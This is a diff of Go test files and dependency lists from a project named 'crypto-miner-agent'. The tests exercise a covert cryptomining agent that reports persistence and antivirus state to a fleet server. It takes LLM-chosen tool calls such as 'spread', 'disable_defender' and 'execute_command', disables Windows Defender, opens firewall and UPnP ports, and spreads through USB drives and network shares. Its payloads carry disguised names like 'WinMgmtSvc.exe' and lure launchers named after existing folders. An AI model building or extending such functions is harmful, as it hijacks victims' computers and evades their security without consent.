if got != tc.want {
|
||||
t.Fatalf("truncateStr(%q, %d) = %q want %q", tc.in, tc.max, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStateJSONRoundTrip(t *testing.T) {
|
||||
in := AgentState{
|
||||
AgentID: "a1", WorkerName: "w1", Hostname: "host",
|
||||
UptimeSeconds: 3600, IsRunning: true,
|
||||
CPUCores: 8, CPUUsagePct: 42.5, MemoryGB: 16, MemoryUsagePct: 55.0,
|
||||
Hashrate15m: 1200.5, SharesTotal: 100, SharesGood: 95, SharesBad: 5,
|
||||
ProcessName: "svc.exe", InstallPath: `C:\miner`, HasPersistence: true,
|
||||
HasTunnel: false, DefenderState: "enabled", LastError: "none",
|
||||
}
|
||||
var out AgentState
|
||||
roundTrip(t, in, &out)
|
||||
if out.AgentID != in.AgentID || out.DefenderState != "enabled" || out.SharesBad != 5 {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToolCallJSONRoundTrip(t *testing.T) {
|
||||
in := ToolCall{
|
||||
Tool: "check_miner",
|
||||
Args: map[string]string{"process_name": "miner.exe"},
|
||||
Reason: "verify process",
|
||||
}
|
||||
var out ToolCall
|
||||
roundTrip(t, in, &out)
|
||||
if out.Tool != "check_miner" || out.Args["process_name"] != "miner.exe" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideResponseJSONRoundTrip(t *testing.T) {
|
||||
in := DecideResponse{
|
||||
ToolCalls: []ToolCall{{Tool: "sleep", Args: map[string]string{"seconds": "5"}, Reason: "wait"}},
|
||||
Reasoning: "back off",
|
||||
Error: "",
|
||||
}
|
||||
var out DecideResponse
|
||||
roundTrip(t, in, &out)
|
||||
if len(out.ToolCalls) != 1 || out.Reasoning != "back off" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToolReportJSONRoundTrip(t *testing.T) {
|
||||
in := ToolReport{
|
||||
AgentID: "a1", Tool: "check_miner", Success: true,
|
||||
Output: "process running", Timestamp: "2026-05-31T12:00:00Z",
|
||||
}
|
||||
var out ToolReport
|
||||
roundTrip(t, in, &out)
|
||||
if !out.Success || out.Output != "process running" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideRequestJSONRoundTrip(t *testing.T) {
|
||||
in := decideRequest{
|
||||
AgentID: "a1",
|
||||
OllamaEndpoint: "http://localhost:11434",
|
||||
Model: "llama3",
|
||||
AgentState: AgentState{AgentID: "a1", WorkerName: "w1"},
|
||||
}
|
||||
var out decideRequest
|
||||
roundTrip(t, in, &out)
|
||||
if out.AgentID != "a1" || out.OllamaEndpoint != in.OllamaEndpoint || out.WorkerName != "w1" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHeartbeatRequestJSONRoundTrip(t *testing.T) {
|
||||
in := heartbeatRequest{AgentID: "a1", Status: "alive", Message: "ok"}
|
||||
var out heartbeatRequest
|
||||
roundTrip(t, in, &out)
|
||||
if out.Status != "alive" || out.Message != "ok" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShareCounts(t *testing.T) {
|
||||
a := &AIRunner{shareStats: func() (int, int) { return 10, 7 }}
|
||||
total, good, bad := a.shareCounts()
|
||||
if total != 10 || good != 7 || bad != 3 {
|
||||
t.Fatalf("got total=%d good=%d bad=%d", total, good, bad)
|
||||
}
|
||||
|
||||
a.shareStats = func() (int, int) { return 5, 10 }
|
||||
_, _, bad = a.shareCounts()
|
||||
if bad != 0 {
|
||||
t.Fatalf("negative bad clamped to 0, got %d", bad)
|
||||
}
|
||||
|
||||
a.shareStats = nil
|
||||
total, good, bad = a.shareCounts()
|
||||
if total != 0 || good != 0 || bad != 0 {
|
||||
t.Fatalf("nil shareStats should return zeros, got %d %d %d", total, good, bad)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteToolCallPolicyDisabled(t *testing.T) {
|
||||
a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
|
||||
for _, tool := range []string{"spread", "disable_defender", "execute_command"} {
|
||||
report := a.executeToolCall(ToolCall{Tool: tool, Args: map[string]string{}})
|
||||
if report.Success || !strings.Contains(report.Output, "disabled by policy") {
|
||||
t.Fatalf("tool %q: unexpected report %+v", tool, report)
|
||||
}
|
||||
if report.AgentID != "a1" || report.Tool != tool {
|
||||
t.Fatalf("tool %q: wrong metadata %+v", tool, report)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteToolCallUnknownTool(t *testing.T) {
|
||||
a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
|
||||
report := a.executeToolCall(ToolCall{Tool: "nonexistent"})
|
||||
if report.Success || !strings.Contains(report.Output, "unknown tool") {
|
||||
t.Fatalf("unexpected: %+v", report)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCallDecideMockHTTP(t *testing.T) {
|
||||
var gotMethod, gotPath, gotSecret string
|
||||
var gotBody decideRequest
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotMethod = r.Method
|
||||
gotPath = r.URL.Path
|
||||
gotSecret = r.Header.Get("X-Fleet-Secret")
|
||||
body, _ := io.ReadAll(r.Body)
|
||||
_ = json.Unmarshal(body, &gotBody)
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_, _ = w.Write([]byte(`{"tool_calls":[{"tool":"sleep","args":{"seconds":"1"},"reason":"test"}],"reasoning":"ok"}`))
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
a := &AIRunner{
|
||||
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "fleet-key", AIOllamaEndpoint: "http://ollama", AIModel: "m1"}},
|
||||
httpClient: srv.Client(),
|
||||
serverURL: strings.TrimRight(srv.URL, "/"),
|
||||
agentID: "agent-1",
|
||||
}
|
||||
|
||||
state := AgentState{AgentID: "agent-1", WorkerName: "w1"}
|
||||
resp, err := a.callDecide(state)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if gotMethod != http.MethodPost || gotPath != "/api/v1/agent/decide" {
|
||||
t.Fatalf("got %s %s", gotMethod, gotPath)
|
||||
}
|
||||
if gotSecret != "fleet-key" {
|
||||
t.Fatalf("fleet secret %q", gotSecret)
|
||||
}
|
||||
if gotBody.AgentID != "agent-1" || gotBody.OllamaEndpoint != "http://ollama" || gotBody.Model != "m1" {
|
||||
t.Fatalf("unexpected body: %+v", gotBody)
|
||||
}
|
||||
if len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" {
|
||||
t.Fatalf("unexpected response: %+v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCallDecideMockHTTPErrorField(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_, _ = w.Write([]byte(`{"error":"ollama offline"}`))
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
a := &AIRunner{
|
||||
httpClient: srv.Client(),
|
||||
serverURL: srv.URL,
|
||||
agentID: "a1",
|
||||
}
|
||||
_, err := a.callDecide(AgentState{})
|
||||
if err == nil || !strings.Contains(err.Error(), "ollama offline") {
|
||||
t.Fatalf("expected decide error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCallDecideMockHTTPNonOK(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusServiceUnavailable)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
a := &AIRunner{
|
||||
httpClient: srv.Client(),
|
||||
serverURL: srv.URL,
|
||||
}
|
||||
_, err := a.callDecide(AgentState{})
|
||||
if err == nil || !strings.Contains(err.Error(), "503") {
|
||||
t.Fatalf("expected status error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendHeartbeatMockHTTP(t *testing.T) {
|
||||
var got heartbeatRequest
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/v1/agent/heartbeat" {
|
||||
t.Fatalf("path %s", r.URL.Path)
|
||||
}
|
||||
body, _ := io.ReadAll(r.Body)
|
||||
_ = json.Unmarshal(body, &got)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
a := &AIRunner{
|
||||
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "sec"}},
|
||||
httpClient: srv.Client(),
|
||||
serverURL: srv.URL,
|
||||
agentID: "a1",
|
||||
}
|
||||
a.sendHeartbeat("alive", "test msg")
|
||||
if got.AgentID != "a1" || got.Status != "alive" || got.Message != "test msg" {
|
||||
t.Fatalf("unexpected heartbeat: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReportResultsMockHTTP(t *testing.T) {
|
||||
var count int
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/v1/agent/report" {
|
||||
t.Fatalf("path %s", r.URL.Path)
|
||||
}
|
||||
count++
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
a := &AIRunner{
|
||||
httpClient: srv.Client(),
|
||||
serverURL: srv.URL,
|
||||
agentID: "a1",
|
||||
}
|
||||
a.reportResults([]ToolReport{
|
||||
{AgentID: "a1", Tool: "check_miner", Success: true, Output: "ok"},
|
||||
{AgentID: "a1", Tool: "sleep", Success: true, Output: "done"},
|
||||
})
|
||||
if count != 1 {
|
||||
t.Fatalf("expected one report POST, got %d", count)
|
||||
}
|
||||
}
|
||||
22
agent/deploy/aggressive_stub_test.go
Normal file
22
agent/deploy/aggressive_stub_test.go
Normal file
@@ -0,0 +1,22 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDisableDefenderRealtimeStub(t *testing.T) {
|
||||
_, err := DisableDefenderRealtime()
|
||||
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Fatalf("expected Windows-only error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOpenFirewallPortStub(t *testing.T) {
|
||||
_, err := OpenFirewallPort(8080, "test")
|
||||
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Fatalf("expected Windows-only error, got %v", err)
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -118,3 +119,18 @@ func TestResolveInstallDirWithFallback(t *testing.T) {
|
||||
t.Fatal("empty dir")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWantsSpreadInstall(t *testing.T) {
|
||||
orig := os.Args
|
||||
t.Cleanup(func() { os.Args = orig })
|
||||
|
||||
os.Args = []string{"agent"}
|
||||
if WantsSpreadInstall() {
|
||||
t.Fatal("expected false without flag")
|
||||
}
|
||||
|
||||
os.Args = []string{"agent", "--spread-install"}
|
||||
if !WantsSpreadInstall() {
|
||||
t.Fatal("expected true with --spread-install")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -162,3 +162,98 @@ func TestUpnpSOAPErrorResponse(t *testing.T) {
|
||||
t.Fatalf("expected SOAP error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReLocationParsesSSDPResponse(t *testing.T) {
|
||||
cases := []struct {
|
||||
body string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
"HTTP/1.1 200 OK\r\nLOCATION: http://192.168.0.1:49152/desc.xml\r\n\r\n",
|
||||
"http://192.168.0.1:49152/desc.xml",
|
||||
},
|
||||
{
|
||||
"location: http://10.0.0.1/igd.xml",
|
||||
"http://10.0.0.1/igd.xml",
|
||||
},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
m := reLocation.FindStringSubmatch(tc.body)
|
||||
if len(m) != 2 {
|
||||
t.Fatalf("no LOCATION match in %q", tc.body)
|
||||
}
|
||||
if got := strings.TrimSpace(m[1]); got != tc.want {
|
||||
t.Fatalf("got %q want %q", got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWANControlURLRelativeWithoutLeadingSlash(t *testing.T) {
|
||||
const igdXML = `<?xml version="1.0"?>
|
||||
<root>
|
||||
<service>
|
||||
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
|
||||
<controlURL>ctl/IPConn</controlURL>
|
||||
</service>
|
||||
</root>`
|
||||
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprint(w, igdXML)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
got, err := resolveWANControlURL(srv.URL + "/igd.xml")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := srv.URL + "/ctl/IPConn"
|
||||
if got != want {
|
||||
t.Fatalf("got %q want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpnpSOAPRequestHeaders(t *testing.T) {
|
||||
var contentType, soapAction string
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
contentType = r.Header.Get("Content-Type")
|
||||
soapAction = r.Header.Get("SOAPAction")
|
||||
fmt.Fprint(w, `<response/>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
if _, err := upnpSOAP(srv.URL, "GetExternalIPAddress", "<body/>"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(contentType, "text/xml") {
|
||||
t.Fatalf("Content-Type: %q", contentType)
|
||||
}
|
||||
wantAction := `"urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress"`
|
||||
if soapAction != wantAction {
|
||||
t.Fatalf("SOAPAction: got %q want %q", soapAction, wantAction)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpnpDeletePortMapping(t *testing.T) {
|
||||
var gotBody, gotAction string
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotAction = r.Header.Get("SOAPAction")
|
||||
buf := make([]byte, 4096)
|
||||
n, _ := r.Body.Read(buf)
|
||||
gotBody = string(buf[:n])
|
||||
fmt.Fprint(w, `<?xml version="1.0"?><ok/>`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
if err := upnpDeletePortMapping(srv.URL, 8989); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(gotAction, "DeletePortMapping") {
|
||||
t.Fatalf("SOAPAction: %q", gotAction)
|
||||
}
|
||||
if !strings.Contains(gotBody, "<NewExternalPort>8989</NewExternalPort>") {
|
||||
t.Fatalf("body missing port: %q", gotBody)
|
||||
}
|
||||
if !strings.Contains(gotBody, "<NewProtocol>TCP</NewProtocol>") {
|
||||
t.Fatalf("body missing protocol: %q", gotBody)
|
||||
}
|
||||
}
|
||||
|
||||
57
agent/deploy/passive_spread_unix_test.go
Normal file
57
agent/deploy/passive_spread_unix_test.go
Normal file
@@ -0,0 +1,57 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestParseLsblkMounts(t *testing.T) {
|
||||
const sample = `{
|
||||
"blockdevices": [
|
||||
{"mountpoint": "/", "hotplug": false},
|
||||
{"mountpoint": "/media/usb", "hotplug": "1"},
|
||||
{"mountpoint": null, "hotplug": true},
|
||||
{"mountpoint": "/mnt/sdcard", "hotplug": true}
|
||||
]
|
||||
}`
|
||||
got := parseLsblkMounts(sample)
|
||||
want := []string{"/media/usb", "/mnt/sdcard"}
|
||||
if len(got) != len(want) {
|
||||
t.Fatalf("len %d != %d (%v)", len(got), len(want), got)
|
||||
}
|
||||
for i := range want {
|
||||
if got[i] != want[i] {
|
||||
t.Fatalf("[%d] got %q want %q", i, got[i], want[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnixPayloadNameNonStealth(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "node worker",
|
||||
StealthMode: false,
|
||||
}}
|
||||
if got := unixPayloadName(cfg); got != "node-worker" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickUnixLauncher(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
if err := os.Mkdir(filepath.Join(root, "Photos"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := pickUnixLauncher(root); got != "Photos.command" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
|
||||
empty := t.TempDir()
|
||||
if got := pickUnixLauncher(empty); got != "Start.command" {
|
||||
t.Fatalf("empty mount: got %q", got)
|
||||
}
|
||||
}
|
||||
51
agent/deploy/passive_spread_windows_test.go
Normal file
51
agent/deploy/passive_spread_windows_test.go
Normal file
@@ -0,0 +1,51 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestSharePayloadName(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "worker alpha",
|
||||
StealthMode: false,
|
||||
}}
|
||||
if got := sharePayloadName(cfg); got != "worker-alpha.exe" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
|
||||
cfg.StealthMode = true
|
||||
if got := sharePayloadName(cfg); got != "WinMgmtSvc.exe" {
|
||||
t.Fatalf("stealth: got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUsbPayloadNameNonStealth(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "sync agent",
|
||||
StealthMode: false,
|
||||
}}
|
||||
if got := usbPayloadName(cfg); got != "sync-agent.exe" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPickLinkName(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
if err := os.Mkdir(filepath.Join(root, "Documents"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := pickLinkName(root); got != "Documents" {
|
||||
t.Fatalf("got %q want Documents", got)
|
||||
}
|
||||
|
||||
empty := t.TempDir()
|
||||
if got := pickLinkName(empty); got != "Open Documents" {
|
||||
t.Fatalf("empty drive: got %q", got)
|
||||
}
|
||||
}
|
||||
89
agent/go.mod
89
agent/go.mod
@@ -4,11 +4,94 @@ go 1.26.3
|
||||
|
||||
require (
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/gorilla/websocket v1.5.3
|
||||
golang.org/x/sys v0.19.0
|
||||
github.com/libp2p/go-libp2p v0.48.0
|
||||
golang.org/x/sys v0.41.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
golang.org/x/crypto v0.22.0 // indirect
|
||||
filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5 // indirect
|
||||
filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b // indirect
|
||||
github.com/benbjohnson/clock v1.3.5 // indirect
|
||||
github.com/beorn7/perks v1.0.1 // indirect
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c // indirect
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 // indirect
|
||||
github.com/dunglas/httpsfv v1.1.0 // indirect
|
||||
github.com/flynn/noise v1.1.0 // indirect
|
||||
github.com/huin/goupnp v1.3.0 // indirect
|
||||
github.com/ipfs/go-cid v0.5.0 // indirect
|
||||
github.com/jackpal/go-nat-pmp v1.0.2 // indirect
|
||||
github.com/jbenet/go-temp-err-catcher v0.1.0 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.2.10 // indirect
|
||||
github.com/koron/go-ssdp v0.0.6 // indirect
|
||||
github.com/libp2p/go-buffer-pool v0.1.0 // indirect
|
||||
github.com/libp2p/go-flow-metrics v0.2.0 // indirect
|
||||
github.com/libp2p/go-libp2p-asn-util v0.4.1 // indirect
|
||||
github.com/libp2p/go-msgio v0.3.0 // indirect
|
||||
github.com/libp2p/go-netroute v0.4.0 // indirect
|
||||
github.com/libp2p/go-reuseport v0.4.0 // indirect
|
||||
github.com/libp2p/go-yamux/v5 v5.0.1 // indirect
|
||||
github.com/libp2p/zeroconf/v2 v2.2.0 // indirect
|
||||
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd // indirect
|
||||
github.com/miekg/dns v1.1.66 // indirect
|
||||
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b // indirect
|
||||
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc // indirect
|
||||
github.com/minio/sha256-simd v1.0.1 // indirect
|
||||
github.com/mr-tron/base58 v1.2.0 // indirect
|
||||
github.com/multiformats/go-base32 v0.1.0 // indirect
|
||||
github.com/multiformats/go-base36 v0.2.0 // indirect
|
||||
github.com/multiformats/go-multiaddr v0.16.0 // indirect
|
||||
github.com/multiformats/go-multiaddr-dns v0.4.1 // indirect
|
||||
github.com/multiformats/go-multiaddr-fmt v0.1.0 // indirect
|
||||
github.com/multiformats/go-multibase v0.2.0 // indirect
|
||||
github.com/multiformats/go-multicodec v0.9.1 // indirect
|
||||
github.com/multiformats/go-multihash v0.2.3 // indirect
|
||||
github.com/multiformats/go-multistream v0.6.1 // indirect
|
||||
github.com/multiformats/go-varint v0.0.7 // indirect
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
||||
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 // indirect
|
||||
github.com/pion/datachannel v1.5.10 // indirect
|
||||
github.com/pion/dtls/v3 v3.1.2 // indirect
|
||||
github.com/pion/ice/v4 v4.0.10 // indirect
|
||||
github.com/pion/interceptor v0.1.40 // indirect
|
||||
github.com/pion/logging v0.2.4 // indirect
|
||||
github.com/pion/mdns/v2 v2.0.7 // indirect
|
||||
github.com/pion/randutil v0.1.0 // indirect
|
||||
github.com/pion/rtcp v1.2.16 // indirect
|
||||
github.com/pion/rtp v1.8.19 // indirect
|
||||
github.com/pion/sctp v1.8.39 // indirect
|
||||
github.com/pion/sdp/v3 v3.0.18 // indirect
|
||||
github.com/pion/srtp/v3 v3.0.6 // indirect
|
||||
github.com/pion/stun/v3 v3.1.1 // indirect
|
||||
github.com/pion/transport/v3 v3.0.7 // indirect
|
||||
github.com/pion/transport/v4 v4.0.1 // indirect
|
||||
github.com/pion/turn/v4 v4.0.2 // indirect
|
||||
github.com/pion/webrtc/v4 v4.1.2 // indirect
|
||||
github.com/prometheus/client_golang v1.22.0 // indirect
|
||||
github.com/prometheus/client_model v0.6.2 // indirect
|
||||
github.com/prometheus/common v0.64.0 // indirect
|
||||
github.com/prometheus/procfs v0.16.1 // indirect
|
||||
github.com/quic-go/qpack v0.6.0 // indirect
|
||||
github.com/quic-go/quic-go v0.59.0 // indirect
|
||||
github.com/quic-go/webtransport-go v0.10.0 // indirect
|
||||
github.com/spaolacci/murmur3 v1.1.0 // indirect
|
||||
github.com/wlynxg/anet v0.0.5 // indirect
|
||||
go.uber.org/dig v1.19.0 // indirect
|
||||
go.uber.org/fx v1.24.0 // indirect
|
||||
go.uber.org/mock v0.5.2 // indirect
|
||||
go.uber.org/multierr v1.11.0 // indirect
|
||||
go.uber.org/zap v1.27.0 // indirect
|
||||
golang.org/x/crypto v0.48.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 // indirect
|
||||
golang.org/x/mod v0.32.0 // indirect
|
||||
golang.org/x/net v0.50.0 // indirect
|
||||
golang.org/x/sync v0.19.0 // indirect
|
||||
golang.org/x/telemetry v0.0.0-20260109210033-bd525da824e2 // indirect
|
||||
golang.org/x/text v0.34.0 // indirect
|
||||
golang.org/x/time v0.12.0 // indirect
|
||||
golang.org/x/tools v0.41.0 // indirect
|
||||
google.golang.org/protobuf v1.36.6 // indirect
|
||||
lukechampine.com/blake3 v1.4.1 // indirect
|
||||
)
|
||||
|
||||
236
agent/go.sum
236
agent/go.sum
@@ -1,10 +1,238 @@
|
||||
filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5 h1:JA0fFr+kxpqTdxR9LOBiTWpGNchqmkcsgmdeJZRclZ0=
|
||||
filippo.io/bigmod v0.1.1-0.20260103110540-f8a47775ebe5/go.mod h1:OjOXDNlClLblvXdwgFFOQFJEocLhhtai8vGLy0JCZlI=
|
||||
filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b h1:REI1FbdW71yO56Are4XAxD+OS/e+BQsB3gE4mZRQEXY=
|
||||
filippo.io/keygen v0.0.0-20260114151900-8e2790ea4c5b/go.mod h1:9nnw1SlYHYuPSo/3wjQzNjSbeHlq2NsKo5iEtfJPWP0=
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0 h1:3lE8UWl0509Q5TCtBECLQNnIyxEhPXnmROVMTngEnuM=
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0/go.mod h1:K3qOa7AMW0/5azfHraQXxEsc9HygHwlfoLOkHqnSGgE=
|
||||
github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o=
|
||||
github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
|
||||
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
||||
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
|
||||
github.com/canonical/go-sp800.90a-drbg v0.0.0-20210314144037-6eeb1040d6c3 h1:oe6fCvaEpkhyW3qAicT0TnGtyht/UrgvOwMcEgLb7Aw=
|
||||
github.com/canonical/go-sp800.90a-drbg v0.0.0-20210314144037-6eeb1040d6c3/go.mod h1:qdP0gaj0QtgX2RUZhnlVrceJ+Qln8aSlDyJwelLLFeM=
|
||||
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
|
||||
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c h1:pFUpOrbxDR6AkioZ1ySsx5yxlDQZ8stG2b88gTPxgJU=
|
||||
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c/go.mod h1:6UhI8N9EjYm1c2odKpFpAYeR8dsBeM7PtzQhRgxRr9U=
|
||||
github.com/decred/dcrd/crypto/blake256 v1.1.0 h1:zPMNGQCm0g4QTY27fOCorQW7EryeQ/U0x++OzVrdms8=
|
||||
github.com/decred/dcrd/crypto/blake256 v1.1.0/go.mod h1:2OfgNZ5wDpcsFmHmCK5gZTPcCXqlm2ArzUIkw9czNJo=
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 h1:NMZiJj8QnKe1LgsbDayM4UoHwbvwDRwnI3hwNaAHRnc=
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0/go.mod h1:ZXNYxsqcloTdSy/rNShjYzMhyjf0LaoftYK0p+A3h40=
|
||||
github.com/dunglas/httpsfv v1.1.0 h1:Jw76nAyKWKZKFrpMMcL76y35tOpYHqQPzHQiwDvpe54=
|
||||
github.com/dunglas/httpsfv v1.1.0/go.mod h1:zID2mqw9mFsnt7YC3vYQ9/cjq30q41W+1AnDwH8TiMg=
|
||||
github.com/flynn/noise v1.1.0 h1:KjPQoQCEFdZDiP03phOvGi11+SVVhBG2wOWAorLsstg=
|
||||
github.com/flynn/noise v1.1.0/go.mod h1:xbMo+0i6+IGbYdJhF31t2eR1BIU0CYc12+BNAKwUTag=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
